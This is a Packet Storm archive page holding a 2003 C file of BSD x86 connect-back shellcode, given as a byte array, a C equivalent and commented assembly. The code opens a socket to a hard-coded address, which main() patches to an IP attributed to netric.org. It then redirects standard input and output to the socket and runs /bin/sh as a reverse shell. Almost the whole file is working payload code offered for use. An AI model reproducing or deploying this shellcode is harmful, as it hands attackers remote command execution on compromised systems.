exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

bsd-connect-back.c

bsd-connect-back.c
Posted Mar 7, 2003
Authored by eSDee | Site netric.org

BSD x86 124 byte connect back shellcode.

tags | x86, shellcode
systems | bsd
SHA-256 | 5c802bdef5259c9a4b2a1f2cce119173bc88d78f7568286a371993d88972fcd1

bsd-connect-back.c

Change Mirror Download
/* BSD x86 shellcode by eSDee of Netric (www.netric.org)
* 124 byte - connect back shellcode (port=0xb0ef)
*/

#include <stdio.h>

char
shellcode[] =
"\x31\xc0\x31\xdb\x53\xb3\x06\x53"
"\xb3\x01\x53\xb3\x02\x53\x54\xb0"
"\x61\xcd\x80\x31\xd2\x52\x52\x68"
"\x41\x41\x41\x41\x66\x68\xb0\xef"
"\xb7\x02\x66\x53\x89\xe1\xb2\x10"
"\x52\x51\x50\x52\x89\xc2\x31\xc0"
"\xb0\x62\xcd\x80\x31\xdb\x39\xc3"
"\x74\x06\x31\xc0\xb0\x01\xcd\x80"
"\x31\xc0\x50\x52\x50\xb0\x5a\xcd"
"\x80\x31\xc0\x31\xdb\x43\x53\x52"
"\x50\xb0\x5a\xcd\x80\x31\xc0\x43"
"\x53\x52\x50\xb0\x5a\xcd\x80\x31"
"\xc0\x50\x68\x2f\x2f\x73\x68\x68"
"\x2f\x62\x69\x6e\x89\xe3\x50\x54"
"\x53\x50\xb0\x3b\xcd\x80\x31\xc0"
"\xb0\x01\xcd\x80";

int
c_code()
{
char *argv[2];
char *sockaddr = "\x00\x02"
"\xb0\xef"
"\x7f\x00\x00\x01"
"\x00\x00\x00\x00"
"\x00\x00\x00\x00";

int sock;

sock = socket(2, 1, 6);
if (connect(sock, sockaddr, 16) < 0) exit();

dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);

argv[0] = "//bin/sh";
argv[1] = NULL;

execve(argv[0], &argv[0], NULL);
exit();
}

int
asm_code()
{
__asm(" # sock = socket(2, 1, 6);
xorl %eax, %eax
xorl %ebx, %ebx
pushl %ebx
movb $6, %bl # SOCK_STREAM
pushl %ebx
movb $1, %bl # IPPROTO_TCP
pushl %ebx
movb $2, %bl # AF_INET
pushl %ebx
pushl %esp
movb $97, %al # SYS_socket
int $0x80

# if (connect(sock, sockaddr, 16) < 0) exit();
xorl %edx, %edx
pushl %edx
pushl %edx
pushl $0x0100007f # ip address
pushw $0xefb0 # port
movb $2, %bh # address family
pushw %bx
movl %esp, %ecx
movb $16, %dl
pushl %edx # sizeof(sockaddr)

pushl %ecx
pushl %eax # sock
pushl %edx
movl %eax, %edx
xorl %eax, %eax
movb $98, %al # SYS_connect
int $0x80

xorl %ebx, %ebx
cmpl %eax, %ebx
je CONNECTED
xorl %eax, %eax
movb $1, %al # SYS_exit
int $0x80

CONNECTED:
# dup2(sock, 0);
xorl %eax, %eax
pushl %eax
pushl %edx
pushl %eax # stdin
movb $90, %al # dup2
int $0x80

# dup2(sock, 1);
xorl %eax, %eax
xorl %ebx, %ebx
incl %ebx
pushl %ebx # stdout
pushl %edx
pushl %eax
movb $90, %al # dup2
int $0x80

# dup2(sock, 2);
xorl %eax, %eax
incl %ebx
pushl %ebx
pushl %edx
pushl %eax # stderr
movb $90, %al # dup2
int $0x80

# execve(argv[0], &argv[0], NULL);
xorl %eax, %eax
pushl %eax
pushl $0x68732f2f
pushl $0x6e69622f
movl %esp, %ebx
pushl %eax
pushl %esp
pushl %ebx
pushl %eax
movb $59, %al # SYS_execve
int $0x80

xorl %eax, %eax
movb $1, %al # SYS_exit
int $0x80");

}

int
main()
{
void (*funct)();

shellcode[24] = 81; /* ip of www.netric.org :) */
shellcode[25] = 17;
shellcode[26] = 46;
shellcode[27] = 156;

(long) funct = &shellcode;
funct();
return 0;
}


Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    111 Files
  • 24
    May 24th
    27 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    6 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close